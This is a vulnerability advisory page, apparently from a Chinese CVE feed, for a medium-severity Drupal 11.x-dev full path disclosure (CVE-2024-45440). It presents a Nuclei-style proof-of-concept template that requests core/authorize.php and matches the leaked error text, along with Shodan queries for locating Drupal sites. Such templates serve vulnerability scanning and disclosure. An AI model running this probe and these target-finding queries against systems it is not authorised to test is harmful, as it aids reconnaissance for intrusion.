CVE-2024-45440: Drupal 11.x-dev - Full Path Disclosure

日期: 2025-08-01 | 影响软件: Drupal 11.x-dev | POC: 已公开

漏洞描述

core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.

PoC代码[已公开]

id: CVE-2024-45440

info:
  name: Drupal 11.x-dev - Full Path Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.
  reference:
    - https://senscybersecurity.nl/CVE-2024-45440-Explained/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45440
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-45440
    cwe-id: CWE-209
    epss-score: 0.79077
    epss-percentile: 0.99035
    cpe: cpe:2.3:a:drupal:drupal:2023-05-09:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2024,drupal,exposure,error

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/authorize.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "getHashSalt"
          - "RuntimeException"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207af0e1cc789cd8654ec4e15a3d1f402a7dbf2ced013771294f7c81ead10e03c6022100ba926194e480beb43ad289aba703756afeea2fb96429105d0a60b4646b3c51e1:922c64590222798bb761d5b6d8e72950

相关漏洞推荐